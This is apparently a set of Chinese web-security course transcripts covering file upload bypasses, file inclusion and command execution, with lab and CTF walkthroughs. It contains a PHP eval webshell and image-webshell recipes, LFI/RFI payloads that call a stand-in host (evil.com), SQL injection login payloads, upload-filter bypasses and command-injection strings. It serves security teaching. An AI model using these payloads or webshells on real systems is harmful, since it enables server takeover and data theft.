  • 图片WebShell文件：这是上节课用于绕过图片渲染检测的Payload图片文件（如GIF、PNG格式），里面已经写入了一句话木马代码，可以直接用于测试。
  • 解题报告与目标链接：老师提供了上周考核题目的详细解题报告，以及两个待测试的CMS系统链接（BBCMS和FCMS），供大家对照练习。

关于图片WebShell的利用，需要特别强调：一个内嵌PHP代码的图片文件（图片马）本身不会被服务器解析。要利用它，通常需要结合文件包含漏洞，让服务器通过包含这个图片文件来执行其中的PHP代码。明天我们会详细介绍文件包含漏洞。

🎯 实战考核讲解：BBCMS

上一节我们回顾了课前资料，本节中我们来看看第一个考核目标：BBCMS。我们的目标是获取该系统的后台权限并最终拿到WebShell。

第一步：信息收集与后台发现

面对一个未知系统，首先需要寻找其后台管理入口。

以下是常见的后台路径猜测和发现方法：

  • 手工猜测：尝试常见路径，如 /admin、/admin/login.php、/manager 等。
  • 工具扫描：使用目录扫描工具（如 dirsearch、御剑）能更高效地发现隐藏目录和文件。这些工具通过字典枚举，根据HTTP状态码（如200、302、403）判断资源是否存在。

第二步：漏洞利用获取后台权限

扫描发现后台登录地址后，尝试登录。在登录框测试常见的SQL注入Payload（如单引号‘），发现存在报错注入漏洞。通过SQL注入，可以爆出管理员账号的密码哈希值（MD5）。使用在线MD5解密网站（如cmd5.com）对哈希值进行解密，即可获得明文密码，从而成功登录后台。

第三步：寻找文件上传点并GetShell

进入后台后，我们的目标是找到文件上传功能并上传WebShell。

以下是寻找和测试文件上传点的思路：

  1. 定位功能点：在后台寻找诸如“上传图片”、“发布文章附件”等功能。
  2. 初步测试：直接上传一个.php文件，通常会被拦截。
  3. 抓包分析：上传一个正常图片，通过Burp Suite拦截请求包，分析其结构。
  4. 绕过检测：对比正常图片和PHP文件的请求包，发现该系统仅在前端和请求头的Content-Type字段做了简单校验。在Burp Suite中，将上传文件的Content-Type修改为image/png，同时将文件名改为.php，即可绕过检测，成功上传WebShell。
  5. 访问Shell：从响应包或页面元素中找到上传文件的访问路径，使用浏览器或连接工具访问该路径，验证命令执行是否成功。

核心绕过公式：
在Burp Suite中修改上传请求包：

POST /upload.php HTTP/1.1
...
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png  // 将此处的 application/x-php 修改为 image/png

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/947e57d7f948904cbccfa779eab77467_96.png)

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/947e57d7f948904cbccfa779eab77467_98.png)

![](https://github.com/OpenDocCN/sec-notes-zh/raw/master/docs/hetian/img/947e57d7f948904cbccfa779eab77467_100.png)

<?php @eval($_POST[‘cmd‘]);?>

🎯 实战考核讲解：FCMS

解决了BBCMS后，我们来看第二个系统：FCMS。这个系统的登录框没有SQL注入漏洞，但我们可以尝试其他方法。

第一步：突破登录验证

对于没有验证码和登录次数限制的登录框，可以采用爆破方式。

以下是使用Burp Suite Intruder模块进行爆破的步骤：

  1. 抓取登录请求包：输入任意账号密码，拦截登录请求。
  2. 发送到Intruder：将请求包发送到Intruder模块。
  3. 设置攻击点：在用户名和密码参数值位置设置Payload标记。
  4. 选择攻击类型：对于同时爆破账号密码，常用“Cluster bomb”模式；若已知用户名只爆密码，可用“Sniper”模式。
  5. 加载Payload字典：使用弱口令字典（如课前分享的weak_password.txt）作为密码Payload。
  6. 分析结果：爆破完成后，根据响应包长度或内容筛选成功结果。例如，响应中出现“login success”且长度与其他请求不同的那条，对应的就是正确的账号密码。

第二步：利用已知CMS漏洞GetShell

通过爆破进入后台后，发现界面复杂，没有明显的上传点。此时可以查看系统信息（如版本号）。通过百度搜索“FCMS 2.6 漏洞”，可以发现该版本存在任意文件写入漏洞。

漏洞位于主题编辑功能中：

  1. 访问路径如 /themes/default/fs.php。
  2. 观察请求包，发现src参数可控，用于指定文件路径。这存在任意文件读取漏洞，可读取config.php等敏感文件。
  3. 同一功能的save操作，其请求包中的src参数（文件路径）和content参数（文件内容）均可控。将src参数值修改为shell.php，content参数值写入PHP代码，即可在服务器上生成WebShell文件。
  4. 访问生成的文件路径，成功GetShell。

核心思路：在后台功能中，仔细查看每个请求包，寻找可控的参数（尤其是文件路径和内容参数），这些地方可能隐藏着文件写入或读取漏洞。

🎯 实战考核讲解：PHPK

第三个目标是PHPK系统。这个系统后台有验证码和登录限制，但老师提供了账号密码。我们的重点是在后台寻找文件上传的突破口。

第一步：登录后台并寻找上传点

使用给定账号密码登录后，在“内容管理”等模块寻找文件上传功能。发现上传附件时，系统有严格的格式限制。

第二步：修改上传允许类型

直接上传.php文件被拦截。尝试在后台寻找可以控制“上传允许类型”的功能点。

以下是关键的绕过步骤：

  1. 发现“附件分类管理”功能：此功能定义了不同附件类型允许上传的后缀（如图片类允许.jpg, .png）。
  2. 添加PHP后缀：在“图片”分类的允许后缀中，添加,php（注意逗号分隔）。
  3. 利用修改后的分类上传：回到发布内容页，选择附件时，选择刚修改过的“图片”分类，此时即可成功上传.php文件。
  4. 获取Shell路径：上传成功后，通过预览或下载链接找到文件的访问URL，访问即可执行WebShell。

核心思路：当直接上传被拦截时，考虑后台是否存在可以“定义规则”的功能。通过修改规则（如允许上传的后缀列表），为上传WebShell打开通道。

🎯 实战考核讲解：学生会简历系统

最后一个系统是一个简单的简历系统，我们将综合运用多种方法。

第一步：突破登录的三种方法

该系统登录框存在漏洞，提供了三种突破方式：

  1. 万能密码登录：使用Payload admin‘ or ‘1‘=‘1 和任意密码，利用SQL注入直接登录。
  2. Burp Suite爆破：使用Intruder模块，对密码进行爆破，最终爆出密码为admin445。
  3. SQLMap自动化注入：将登录请求包保存为文件，使用SQLMap的 -r 参数指定该文件进行自动化注入，最终也能拖出数据库中的账号密码哈希并解密。

第二步：利用简单上传漏洞GetShell

登录后台后，发现一个头像上传功能。

以下是测试和绕过过程：

  1. 直接测试：上传.php文件，被拦截。
  2. 抓包分析：上传正常图片，分析请求。
  3. 尝试绕过：尝试修改文件名后缀为大小写混合形式，如.Php或.pHp。
  4. 绕过成功：该系统仅做了简单的后缀字符串匹配，未统一转为小写校验。使用.pHp后缀成功绕过，上传WebShell。
  5. 获取Shell：从页面元素中找到上传后的文件路径，访问并验证。

核心绕过代码：

filename="shell.pHp"  // 利用大小写绕过

📝 课程总结

本节课中，我们一起学习了文件上传漏洞的实战挖掘思路。我们通过四个不同的CMS案例，实践了从信息收集、突破登录验证、寻找后台上传点、分析过滤规则到最终实施绕过的完整流程。

核心要点总结如下：

  • 信息收集是关键：利用工具扫描目录，搜索已知漏洞。
  • 突破登录多样化：SQL注入、爆破、万能密码、SQLMap都是可选手段。
  • 关注后台“规则”功能：修改上传允许类型是常见的突破口。
  • 仔细分析请求包：任何可控的参数（路径、内容、文件名、Content-Type）都可能成为漏洞点。
  • 经典绕过方法依然有效：修改Content-Type、大小写绕过、结合文件包含等。
  • 工具与手工结合：使用Burp Suite、Dirsearch、Fuzz字典等工具提升效率，但思考和分析需要手动完成。

希望本节课的实战分析能帮助你建立起文件上传漏洞挖掘的基本思路。明天我们将学习文件包含漏洞，它与今天的图片马利用紧密相关。

课程P2：Web安全学习路线图 🗺️

在本课程中，我们将系统性地学习Web安全的核心知识体系。课程内容从基础概念开始，逐步深入到各类主流漏洞的原理、利用与防御，旨在为初学者构建一条清晰、高效的学习路径。

概述 📋

Web安全的学习是一个体系化的过程，需要循序渐进。为了让大家能持续感受到提升并坚持下去，我们依照技能的学习顺序，将内容从简单到复杂进行了细化分类。以下内容将帮助大家完整且轻松地掌握Web安全的知识体系。

Web安全基础 🏗️

在接触Web安全时，第一阶段需要掌握其基础。这些基础是后续学习的基石。

以下是Web安全基础需要掌握的核心内容：

  1. 网络协议：互联网中的所有软件都基于网络协议进行数据传输。理解网络协议，特别是IP和HTTP协议的具体内容，对后续学习至关重要。
  2. 抓包工具：在Web安全领域，Burp Suite是最常用的抓包与分析工具。掌握其代理功能、常用模块以及弱口令爆破等实操技能是重中之重。
  3. SRC挖掘能力：学习Web安全最直观的收益之一是具备独立挖掘安全漏洞（SRC）的能力。我们需要了解常态化的漏洞挖掘操作流程。

核心漏洞技术学习 🔍

在了解Web安全的基础技术体系后，我们将进入相对核心的漏洞技术学习阶段。我们按照市场上常见且易出现的漏洞类型进行了排序。

1. 业务逻辑漏洞 🧩

业务逻辑漏洞是漏洞挖掘中非常常见的类型。本节我们将讲解该漏洞的本质、发现方法、利用手段及修复方案。

以下是业务逻辑漏洞的常见类型：

  • URL跳转漏洞
  • 信息轰炸漏洞
  • 密码找回漏洞
  • 支付逻辑漏洞

通过学习，你将完整掌握主流业务逻辑漏洞的技术体系，包括其成因、挖掘与利用方法。

2. SQL注入漏洞 💉

SQL注入漏洞是基于数据库的常见漏洞。要掌握它，必须先了解数据库在软件系统中的作用、数据管理原理以及主流关系型数据库MySQL的使用。

以下是学习SQL注入前需要掌握的数据库基础：

  • 数据库基本概念
  • MySQL环境安装与远程连接
  • 常用SQL语句（增删改查）
  • 常用函数（查看状态、版本等）
  • information_schema库的作用

在掌握前期环境部署和数据库基础后，我们将正式进入SQL注入技术的核心学习。

以下是SQL注入的主要技术维度：

  • 联合查询注入：判断漏洞是否存在、确定注入数据类型、明确查询列数、确定显示位以获取数据。
  • 布尔盲注：针对无回显的页面状态进行注入。
  • 时间盲注：另一种针对特定场景的注入方式。
  • 报错注入
  • 宽字节注入
  • SQLMap工具应用：自动化注入的实现，用于快速发现和利用SQL注入点。

通过全面掌握这些技术，你可以对SQL注入有一个深入的理解。

3. 跨站脚本攻击（XSS）漏洞 ⚡

XSS漏洞与系统前端紧密关联。在学习此漏洞前，需要对前端基础有所认识。

以下是学习XSS前需要了解的前端基础：

  • HTML
  • JavaScript
  • 前端事件处理逻辑

在掌握前端基础后，我们将了解XSS漏洞的原理、存在场景、危害及类型。

以下是XSS漏洞的主要类型：

  • 反射型XSS
  • 存储型XSS
  • DOM型XSS

了解XSS的基本原理后，我们还需要学习其利用方式。

以下是XSS漏洞的常见利用手段：

  • 获取Cookie
  • 漏洞钓鱼
  • 流量挟持
  • 结合BeEF平台进行攻击

同时，了解网站对XSS漏洞的常见修复手段（如输入过滤、输出编码），有助于我们进行漏洞限制的绕过。

4. 跨站请求伪造（CSRF）漏洞 🎭

CSRF也是非常常见的漏洞。本节将系统掌握其原理、危害、攻击流程及利用方式。

以下是CSRF漏洞学习的要点：

  • 漏洞原理与成因
  • 攻击流程
  • 利用方式（针对GET与POST请求）
  • 常态化的漏洞修复手段

5. 服务器端请求伪造（SSRF）漏洞 🔄

SSRF同样是常见漏洞。本节将基于漏洞原理，学习其发现、分类、利用及防御绕过方法。

以下是SSRF漏洞的相关内容：

  • 漏洞原理与出现场景
  • 漏洞分类（有回显与无回显）
  • 漏洞利用（如攻击内网Redis、反弹Shell）
  • 主流防御手段（如白名单、协议限制）及其绕过方法

漏洞挖掘技巧与进阶漏洞 🛠️

学完主流漏洞后，我们需要思考如何在实际网站中挖掘这些漏洞。因此，掌握漏洞挖掘的技巧至关重要。

以下是漏洞挖掘的核心技术：

  1. 信息收集：在SRC挖掘前期，收集目标系统的域名、IP、端口、网站架构等信息，为后续挖掘打下基础。
  2. 扫描器应用：使用扫描器能有效提升漏洞挖掘效率。主流的扫描器分为主动扫描器（如AWVS）和被动扫描器（如Xray）。

6. 文件包含与文件上传漏洞 📁

文件包含漏洞允许包含恶意文件，常与文件上传漏洞结合使用。

以下是这两个漏洞的学习要点：

  • 文件包含漏洞：基本概念、实现原理与利用方法。
  • 文件上传漏洞：如何制造一句话木马（小马）、大马等Webshell，并利用文件包含漏洞使其运行。同时，学习如何绕过系统的文件检测与防御机制。

7. XML外部实体注入（XXE）漏洞 📄

XXE漏洞关联XML。学习前需了解XML的基础概念。

以下是学***E前需要掌握的XML基础：

  • XML语法规则
  • XML数据类型
  • 文档格式定义（DTD）

在掌握XML基础后，我们将详细学***E漏洞的介绍、利用方式及修复手段。

8. 中间件漏洞 🖥️

软件系统架构中使用的中间件（如JBoss, WebLogic）的历史版本可能存在漏洞。

以下是学习中间件漏洞的步骤：

  • 理解中间件的概念。
  • 学习特定中间件（如JBoss, WebLogic）的历史版本漏洞。
  • 掌握这些漏洞的发现与利用方法。

能力拓展：Linux与PHP 💪

想要在Web安全领域变得更加强大，有两项技能绕不开：Linux操作系统和PHP编程语言。

以下是能力拓展的学习方向：

  1. Linux操作系统：绝大多数服务器基于Linux部署。需要掌握其常用指令、目录结构、用户与权限管理等。
  2. PHP编程语言：掌握PHP有助于深入理解Web应用。学习内容包括环境部署、基本编程、函数、对象等。更进一步，可以学习PHP代码审计的技术与技巧。

总结 🎯

本节课我们一起学习了Web安全的完整学习路线图。从Web安全基础开始，我们逐步深入探讨了业务逻辑漏洞、SQL注入、XSS、CSRF、SSRF等核心漏洞的原理与利用，并介绍了漏洞挖掘技巧以及文件包含、文件上传、XXE、中间件等进阶漏洞。最后，我们指出了Linux和PHP这两项重要的拓展技能。

如果你希望进入Web安全行业，只需按照本路线图，从Web安全基础开始，依照顺序无脑学习脑图所列出的每一项内容，你必将能够成为一名合格的网络安全人员。

🛡️ 课程P20：第18天 - 本地与远程文件包含漏洞详解

在本节课中，我们将要学习网络安全中一个重要的漏洞类型——文件包含漏洞。我们将从基本概念入手，逐步了解其类型、利用方式、潜在危害以及如何防御。

📖 第一部分：文件包含漏洞概述

文件包含是指开发人员将需要重复调用的函数写入一个单独的文件，并在需要时通过特定函数将该文件包含进来的操作。这种做法可以减少代码冗余，降低后期维护难度，并保持网站风格统一。例如，网站的页头和页脚通常就是通过文件包含来实现的。

那么，为什么这会成为一个漏洞呢？漏洞产生的根本原因在于，用于文件包含的函数（如 include）所加载的参数没有经过严格的过滤或定义，可以被攻击者控制。攻击者利用这一点，可以包含服务器上的其他文件，从而执行非预期的恶意代码。

我们来看一段典型的漏洞代码：

<?php
    $file = $_GET['file'];
    include($file);
?>

在这段代码中，file 参数通过 GET 方式从URL中获取，并直接传递给 include 函数。如果攻击者在URL中构造 ?file=恶意文件路径，服务器就会包含并执行该文件。

PHP中常见的文件包含函数有四个：

  • require: 包含文件，出错时直接报错并终止脚本。
  • require_once: 与 require 类似，但确保同一文件只被包含一次。
  • include: 包含文件，出错时抛出警告，但脚本继续执行。
  • include_once: 与 include 类似，但确保同一文件只被包含一次。

在代码审计时，可以全局搜索这些关键词来寻找潜在的漏洞点。

上一节我们介绍了文件包含的基本概念和漏洞成因，本节中我们来看看文件包含漏洞的具体类型。

🔍 第二部分：文件包含漏洞类型及利用

文件包含漏洞主要分为两种类型：本地文件包含和远程文件包含。

📁 本地文件包含

本地文件包含是指被包含的文件位于服务器本地。攻击者可以利用此漏洞包含服务器上的敏感文件或自己上传的恶意文件。

以下是本地文件包含的几种常见利用方式：

1. 包含系统敏感文件
攻击者可以尝试包含系统配置文件，以获取敏感信息。例如，在Windows系统上尝试包含 C:\Windows\win.ini 文件。

2. 包含上传的文件
如果网站存在文件上传功能，并且上传的文件路径可知，攻击者可以上传一个包含PHP代码的文本文件（如 shell.txt），然后通过LFI漏洞包含它。只要文件内容符合PHP语法，无论后缀名是什么，都会被服务器解析执行。

3. 利用日志文件
Web服务器（如Apache）的访问日志会记录客户端的请求信息。攻击者可以故意访问一个包含PHP代码的URL（如 http://目标站点/<?php phpinfo();?>），这段代码会被记录到日志文件中。随后，利用LFI漏洞包含这个日志文件，其中的PHP代码就会被执行。需要注意的是，浏览器会对特殊字符进行URL编码，因此可能需要使用代理工具拦截请求，将编码后的字符改回正常字符。

4. 使用PHP内置协议
PHP提供了一些包装协议，可以用于LFU攻击：

  • file://: 用于访问本地文件系统，例如 ?file=file:///etc/passwd。
  • php://filter: 常用于读取PHP文件源码。它可以将文件内容用指定编码（如Base64）输出，从而避免被直接执行。例如：?file=php://filter/convert.base64-encode/resource=index.php，解码后即可获得源代码。
  • zip:// 或 phar://: 可以访问压缩包内的文件。攻击者可以上传一个包含恶意PHP脚本的压缩包（后缀可改为 .jpg 绕过检查），然后利用此协议包含压缩包内的脚本文件。例如：?file=phar://./uploads/evil.jpg/evil.php。

🌐 远程文件包含

远程文件包含是指被包含的文件位于远程服务器上。攻击者可以指定一个URL，让目标服务器去包含并执行远程服务器上的恶意文件。

RFI漏洞的利用需要满足两个PHP配置条件（在 php.ini 中）：

  1. allow_url_fopen = On
  2. allow_url_include = On (在PHP 5.2之后默认关闭，因此RFI较难利用)

利用方式示例：
攻击者可以在自己的服务器上放置一个包含PHP代码的文本文件（如 http://攻击者服务器/shell.txt），然后通过存在RFI漏洞的参数去包含它：?file=http://攻击者服务器/shell.txt。

此外，也可以利用 php://input 协议，将POST请求体中的数据作为PHP代码执行。或者使用 data:// 协议，直接包含数据流中的代码，例如：?file=data://text/plain,<?php phpinfo();?>。

了解了漏洞的利用方式后，我们来看看攻击者如何绕过一些常见的防护措施。

🚧 第三部分：绕过方式

开发人员可能会对文件包含的参数进行一些过滤，攻击者则需要找到方法绕过。

本地文件包含绕过：

  1. 空字节截断：在某些旧版本PHP中，可以使用 %00（空字节）来截断后面的字符串。例如，如果代码固定添加后缀 .html，可构造 ?file=../../../etc/passwd%00，使 .html 被忽略。
  2. 路径长度截断：在Windows系统下，当路径长度超过256字节时，超出的部分会被丢弃。可以构造超长的 ../ 序列来使后缀无效。

远程文件包含绕过：
如果代码在传入的路径后添加了固定后缀，可以尝试在URL后添加 ? 或 #（需编码为 %23），使其成为查询字符串或锚点，从而避免被拼接。例如：?file=http://evil.com/shell.php?。

⚠️ 第四部分：漏洞危害与防御

危害：

  1. 读取服务器敏感文件（如配置文件、源代码），导致信息泄露。
  2. 执行任意系统命令。
  3. 配合文件上传等功能，获取网站服务器权限。

防御措施：

  1. 避免动态包含：尽量避免使用变量动态生成包含文件的路径。
  2. 严格过滤输入：对用户输入的包含参数进行严格检查，过滤 ../ 等目录遍历字符。
  3. 使用白名单：如果必须动态包含，应使用白名单机制，只允许包含指定的几个文件。
  4. 关闭危险配置：在 php.ini 中确保 allow_url_fopen 和 allow_url_include 设置为 Off。
  5. 设置包含目录限制：使用 open_basedir 配置项限制PHP可以访问的目录范围。
  6. 服务端验证：所有关键的安全校验必须在服务端进行，不能依赖客户端。

📝 第五部分：课后作业

为了巩固本节课的知识，请完成以下实践：

  1. 访问提供的实验环境地址，尝试利用文件包含漏洞获取目标服务器的权限。
  2. 总结你的利用步骤，并思考如何防御此类攻击。
    请将你的解题思路和过程整理成文档。

本节课中我们一起学习了文件包含漏洞的原理、类型（LFI和RFI）、多种利用手法（包含敏感文件、日志、利用PHP协议）、常见的绕过方式，以及最重要的——如何从开发角度防御此类漏洞。理解并掌握这些内容，对于从事Web安全测试或开发工作都至关重要。

🛡️ 课程P21：第19天 - 文件包含漏洞防御及实操讲解

在本节课中，我们将学习文件包含漏洞的防御方法，并通过两道实操题目来深入理解如何发现、利用和绕过相关安全限制。课程内容基于一道CTF风格的练习题展开，我们将一步步分析解题思路。

📖 概述与第一题回顾

上一节我们介绍了文件包含漏洞的基本概念。本节中，我们来看看如何在实际题目中应用这些知识，并学习相关的绕过技巧。

首先，我们访问目标网站，发现 index.php 页面。通过查看页面源代码，我们找到了一个提示：include.php。

我们尝试访问 include.php，页面显示需要一个名为 file 的参数。根据提示，我们构造URL包含当前文件自身进行测试。

include.php?file=include.php

页面成功包含了自身，证实存在本地文件包含漏洞。同时，在页面源代码中发现了另一个文件线索：upload.php。

🔍 第一题深入：文件上传与包含

我们访问发现的 upload.php 文件。这是一个文件上传功能页面。为了了解其过滤规则，我们需要查看它的后端源代码。

以下是查看 upload.php 源代码的方法：

include.php?file=php://filter/convert.base64-encode/resource=upload.php

解码Base64输出后，我们得到了 upload.php 的源码。分析源码发现，它只允许上传 gif、jpg、png 格式的图片，并对 Content-Type 做了检查。

由于直接上传 .php 文件会被拦截，我们需要制作一个“图片马”，即将PHP代码嵌入到图片文件中。

以下是制作图片马的命令（Windows环境）：

copy normal.jpg /b + shell.php /a webshell.jpg

其中 shell.php 内容为一句话木马：

<?php @eval($_POST['cmd']);?>

制作好图片马后，我们通过上传功能将其上传。上传成功后，我们得到了文件的存储路径，例如 upload/webshell.jpg。

最后，我们利用文件包含漏洞来执行图片马中的代码：

include.php?file=upload/webshell.jpg

此时，图片中的PHP代码已被服务器解析执行。我们可以使用中国菜刀等工具，连接包含此图片马的URL，从而获得Webshell权限。

🧩 第二题分析：后缀拼接与协议利用

第二题的环境与第一题类似，但增加了防御措施。我们首先访问目标 include.php。

页面提示参数 file 的值为 hello，且注释提示这是一个PHP文件。这暗示后台可能会自动为 file 参数的值拼接 .php 后缀。

我们尝试直接包含 upload.php 查看源码，但使用了目录遍历符 ../ 的请求被过滤，返回错误。

我们换一种思路。既然后台会拼接 .php，我们尝试读取当前 include.php 文件的源码：

include.php?file=php://filter/convert.base64-encode/resource=include

注意，这里没有输入 .php 后缀。后台代码逻辑是：获取 file 参数值 include，然后拼接成 include.php 进行包含。我们通过PHP伪协议成功读取到Base64编码的源码。

解码后，在源码中再次发现了 upload.php 文件线索。我们继续读取它的源码，发现其过滤规则与第一题相同。

关键点在于：由于后台会自动添加 .php 后缀，如果我们像第一题那样直接包含上传的图片马 upload/webshell.jpg，实际请求会变成 include.php?file=upload/webshell.jpg.php，文件不存在，导致包含失败。

为了绕过这个限制，我们需要利用 phar:// 协议。这个协议可以读取ZIP压缩包中的文件，并且不受后缀名影响。

以下是解题步骤：

  1. 创建一个包含一句话木马的 shell.php 文件。
  2. 将该文件压缩成 shell.zip。
  3. 将压缩包重命名为 shell.jpg 并上传。
  4. 使用 phar:// 协议包含这个“图片”压缩包内的PHP文件：
include.php?file=phar://upload/shell.jpg/shell

同样，shell 会被后台拼接为 shell.php。phar:// 协议会解析 shell.jpg 这个ZIP压缩包，并执行其中的 shell.php 文件。这样我们就成功绕过了后缀限制，获得了Webshell。

💡 核心技巧总结

本节课中我们一起学习了文件包含漏洞在CTF题目中的综合应用。以下是解题过程中涉及的核心技巧：

  • 信息收集：始终关注页面源代码、注释和错误信息，它们常常包含重要线索。
  • 源码读取：利用 php://filter 伪协议是获取服务器端源码的常用方法。
  • 文件上传绕过：当直接上传恶意脚本被拦截时，可以尝试制作图片马、修改文件头、使用特殊后缀等方式。
  • 协议利用：phar:// 协议可用于绕过某些后缀检查，它能够直接访问压缩包内的文件。
  • 逻辑理解：仔细分析题目提示和代码逻辑（如自动拼接后缀），是找到突破点的关键。

通过这两道题目，我们不仅练习了漏洞利用，也直观地看到了开发者如何通过过滤、拼接等操作进行防御，以及攻击者如何寻找逻辑缺陷进行绕过。理解攻防两端的思路对提升网络安全技能至关重要。

网络安全就业推荐 P22：第20天：命令执行漏洞-远程代码执行及远程系统命令 🛡️💻

在本节课中，我们将要学习命令执行漏洞，特别是远程代码执行和远程系统命令执行。我们将了解其产生原因、危害、常见的利用函数以及基本的防护方法。课程内容将分为简介、漏洞利用、防护方法和实验操作四个部分。

命令执行漏洞简介 🔍

上一节我们介绍了课程的整体结构，本节中我们来看看命令执行漏洞的基本概念。

命令执行漏洞产生的原因是：应用没有对用户输入做严格的检查过滤，导致用户输入的参数被当成命令来执行。这与SQL注入漏洞类似，都是由于未对用户输入进行充分验证而引发的安全问题。

关于该漏洞的危害，主要有以下三点：

  1. 继承Web服务器权限去执行系统命令。
  2. 反弹Shell，获得目标服务器权限。
  3. 为进一步的内网渗透提供跳板。

远程代码执行（RCE） 🚨

命令执行主要分为远程代码执行和远程系统命令执行两种。它们的区别在于所调用的函数不同。在PHP中，有时因业务需求会调用一些执行命令的函数。

以下是常见的可能导致远程代码执行的PHP函数：

1. eval() 函数

eval() 函数会把传入的字符串作为PHP代码执行。其基本形式为 eval($code);。在一句话木马中常被使用。

eval($_POST[‘cmd‘]);

需要注意的是，传入 eval() 的参数必须是合法的PHP代码（以分号结尾）。该函数非常危险，因为它允许执行任意PHP代码。

2. assert() 函数

assert() 函数与 eval() 类似，也会将字符串当做PHP代码执行。但与 eval() 不同的是，它传入的字符串不需要以分号结尾。

assert($_POST[‘cmd‘]);

3. preg_replace() 函数

preg_replace() 函数用于执行正则表达式的搜索和替换。其利用原理与 /e 修饰符有关，该修饰符使得替换后的字符串会被 eval() 方式执行。

preg_replace(“/test/e“, $_GET[‘cmd‘], “just test“);

需要注意的是，此利用方式在PHP 5.5.0 及以上版本中已被废弃。

4. array_map() 函数

array_map() 函数的作用是为数组的每个元素应用回调函数。通过构造，可以将用户输入作为函数名来执行。

$func = $_GET[‘func‘];
$cmd = $_POST[‘cmd‘];
array_map($func, array($cmd));

例如，传递 func=system&cmd=whoami 即可执行系统命令。

5. create_function() 函数

create_function() 函数用于创建一个匿名函数。通过向该函数传递参数，可以导致代码执行。

$func = create_function(‘‘, $_POST[‘cmd‘]);
$func();

6. call_user_func() 函数

call_user_func() 函数用于调用回调函数。第一个参数是回调函数，其余参数是回调函数的参数。

call_user_func($_GET[‘func‘], $_POST[‘cmd‘]);

7. array_filter() 函数

array_filter() 函数用回调函数过滤数组中的单元。其利用方式与 array_map() 类似。

$func = $_GET[‘func‘];
$cmd = $_POST[‘cmd‘];
array_filter(array($cmd), $func);

关于双引号的特性

在PHP中，双引号包裹的字符串中的变量会被解析。如果变量值包含PHP代码，该代码会被执行。

$cmd = “phpinfo();“;
echo “$cmd“; // 会输出 phpinfo() 的执行结果

而单引号包裹的字符串中的变量不会被解析。

远程系统命令执行 ⚙️

上一节我们介绍了远程代码执行，本节中我们来看看远程系统命令执行。这种漏洞通常出现在应用提供了调用系统命令的接口时，例如网络设备的管理界面中的Ping测试功能。

以下是常见的用于执行系统命令的PHP函数：

1. exec() 函数

exec() 函数用于执行一个外部程序。它不会直接输出结果，而是返回结果的最后一行。如果需要全部结果，可以使用第二个参数（数组）来存储输出。

exec($_POST[‘cmd‘], $output);
print_r($output);

2. system() 函数

system() 函数用于执行外部程序，并直接输出结果到浏览器。这是一句话木马中常用的函数。

system($_POST[‘cmd‘]);

3. passthru() 函数

passthru() 函数与 system() 类似，也会直接将结果输出到浏览器。它的特点是能够输出二进制数据，例如图像流。

passthru($_POST[‘cmd‘]);

4. shell_exec() 函数

shell_exec() 函数通过Shell环境执行命令，并以字符串的形式返回完整的输出。

echo shell_exec($_POST[‘cmd‘]);

命令执行中的特殊字符 🔗

在利用命令执行漏洞时，常会使用一些特殊字符来连接或构造命令。

以下是常见的命令连接符：

  • 分号 ;：无论前一个命令是否成功，后面的命令都会执行。例如：a; whoami
  • 管道符 |：将前一个命令的输出作为后一个命令的输入。例如：a | whoami
  • 双管道符 ||：只有在前一个命令执行失败时，才执行后面的命令。例如：a || whoami
  • 双与号 &&：只有在前一个命令执行成功时，才执行后面的命令。例如：pwd && whoami
  • 反引号 `：用于执行特定的命令。例如：`whoami`
  • 重定向符号 > 和 <：用于重定向命令的输入输出。例如：whoami > test.txt

总结 📝

本节课中我们一起学习了命令执行漏洞。我们首先了解了漏洞的成因与危害。然后，我们深入探讨了远程代码执行，学习了一系列危险的PHP函数（如 eval(), assert(), array_map() 等）及其利用方式。接着，我们介绍了远程系统命令执行，分析了 exec(), system(), passthru() 等函数的特点。最后，我们了解了在命令拼接中常用的特殊字符。

理解这些函数和原理，有助于我们在进行代码审计时，快速定位潜在的漏洞点，并通过构造特定输入来验证漏洞。实际环境中，命令执行漏洞往往需要通过白盒测试（代码审计）来发现。下节课我们将通过实验来进一步巩固对这些漏洞的理解和利用。

🛡️ 网络安全课程 P23：第21天 - 命令执行漏洞利用及防御

在本节课中，我们将深入学习命令执行漏洞的利用方法以及如何进行有效的防御。我们将通过分析代码逻辑、构造Payload和了解防护策略，来全面掌握这一高危漏洞。

📚 课程回顾与概述

上一节我们介绍了命令执行漏洞的基本概念、产生原因以及相关的危险函数。本节中，我们将重点探讨如何利用这些漏洞，并学习相应的防护措施。

命令执行漏洞的产生，与SQL注入、XSS等漏洞类似，都是由于应用程序没有对用户的输入进行严格的检查与过滤，将用户输入直接当作代码或系统命令执行。

🔍 命令执行漏洞原理再探

其危害性与我们之前讲解的WebShell类似。攻击者可以利用应用系统上的此类漏洞，执行服务器命令，从而获取服务器的Shell权限。

我们介绍了两种主要的执行类型：

  1. 远程代码执行：漏洞存在于代码逻辑中，执行的是PHP代码。若想执行系统命令，仍需调用执行系统命令的函数。
  2. 远程命令执行：应用系统本身存在调用系统命令的功能点（例如ping检测），在PHP中需要调用如system()、exec()等函数。如果未对用户输入进行过滤，则极易导致命令执行漏洞。

在远程代码执行中，我们主要介绍了eval()、assert()等函数。这些函数在执行我们构造的一句话木马时也常被用到。

以下是PHP中常用于执行外部命令的函数：

  • exec()
  • system()
  • passthru()
  • shell_exec()

🎯 漏洞利用：特殊字符的妙用

上一节我们提到了命令执行中常用的特殊字符，但未进行实例演示。本节我们将通过具体例子，演示如何利用这些特殊字符构造Payload来执行命令。

我们以一个简单的“Ping测试”功能页面为例。该页面接收用户输入的IP地址，并调用系统ping命令进行检测。其核心问题在于，未对用户输入的$ip变量做任何过滤，直接拼接到了shell_exec()函数中。

// 漏洞代码示例
$ip = $_POST['ip'];
// 未对 $ip 进行任何过滤
shell_exec("ping -c 3 " . $ip);

攻击者可以利用特殊字符，在原本的ping命令后拼接额外的命令。

以下是几种常见的命令连接符及其利用方式：

管道符 |

  • 作用：将前一个命令的输出，作为后一个命令的输入。无论前一个命令是否成功，后一个命令都会执行。
  • Payload示例：127.0.0.1 | whoami
  • 服务端实际执行：ping -c 3 127.0.0.1 | whoami。最终会执行whoami命令并返回结果。

分号 ;

  • 作用：顺序执行多条命令。
  • Payload示例：127.0.0.1; whoami

逻辑与 &&

  • 作用：只有前一个命令执行成功（返回值为0），才会执行后一个命令。
  • Payload示例：127.0.0.1 && whoami

逻辑或 ||

  • 作用：只有前一个命令执行失败（返回值非0），才会执行后一个命令。
